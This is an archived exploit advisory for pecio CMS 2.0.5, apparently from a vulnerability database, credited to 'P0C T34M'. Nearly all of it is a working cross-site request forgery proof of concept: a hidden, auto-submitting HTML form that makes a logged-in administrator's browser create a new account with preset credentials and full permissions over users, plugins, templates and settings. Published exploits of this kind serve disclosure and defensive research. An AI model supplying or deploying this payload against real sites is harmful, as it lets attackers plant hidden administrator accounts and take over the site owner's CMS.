pecio CMS 2.0.5 - CSRF Add Admin

🗓️ 01 Jul 2014 00:00:00Reported by RootType
pecio CMS v2.0.5 CSRF Add Admin vulnerabilit

                                                #Title    : pecio CMS v2.0.5 &#60;= CSRF Add Admin
#Script   : pecio CMS v2.0.5 
#Language : Php
#Download : Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip
#Date     : 2010/12/25
#Found    : by P0C T34M &#62;&#62; tnt-r00t 
#Homepage : www.p0c.cc

&#60;html&#62;
&#60;form name=&#34;tnt&#34; action=&#34;http://127.0.0.1/pec/pec_admin/admin.php?area=users&ampview=default&action=create&#34; method=&#34;post&#34;&#62;

    &#60;input type=&#34;hidden&#34; name=&#34;user_name&#34; type=&#34;hidden&#34; value=&#34;myna0me&#34;/ &#62;
    &#60;input type=&#34;hidden&#34; name=&#34;user_forename&#34; type=&#34;hidden&#34; value=&#34;r00t&#34; /&#62;
    &#60;input type=&#34;hidden&#34; name=&#34;user_surname&#34; type=&#34;hidden&#34; value=&#34;myname&#34;/ &#62;
    &#60;input type=&#34;hidden&#34; name=&#34;user_email&#34; type=&#34;hidden&#34; value=&#34;[email protected]&#34; /&#62;
    &#60;input type=&#34;hidden&#34; name=&#34;user_password&#34; type=&#34;hidden&#34; value=&#34;r0o0t&#34; /&#62;
    &#60;input type=&#34;hidden&#34; name=&#34;user_password_repeat&#34; type=&#34;hidden&#34; value=&#34;r0o0t&#34; /&#62;  
                
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_articles&#34; id=&#34;perm_articles_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_menupoints&#34; id=&#34;perm_menupoints_none&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_menupoints&#34; id=&#34;perm_menupoints_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_texts&#34; id=&#34;perm_texts_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;         
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_links&#34; id=&#34;perm_links_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_posts&#34; id=&#34;perm_posts_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;   
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_comments&#34; id=&#34;perm_comments_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;                     
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_users&#34; id=&#34;perm_users_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_plugins&#34; id=&#34;perm_plugins_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;               
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_templates&#34; id=&#34;perm_templates_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  
                            &#60;input type=&#34;hidden&#34; name=&#34;user_perm_settings&#34; id=&#34;perm_settings_full&#34; value=&#34;2&#34; checked=&#34;checked&#34; type=&#34;radio&#34;&#62;  

&#60;input type=&#34;hidden&#34; name=&#34;Submit&#34; class=&#34;submit&#34; value=&#34;Add User&#34; type=&#34;submit&#34;/&#62;
&#60;/form&#62;
&#60;script&#62;document.tnt.submit();&#60;/script&#62;
&#60;/html&#62;
 
NickName : P0C T34M
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1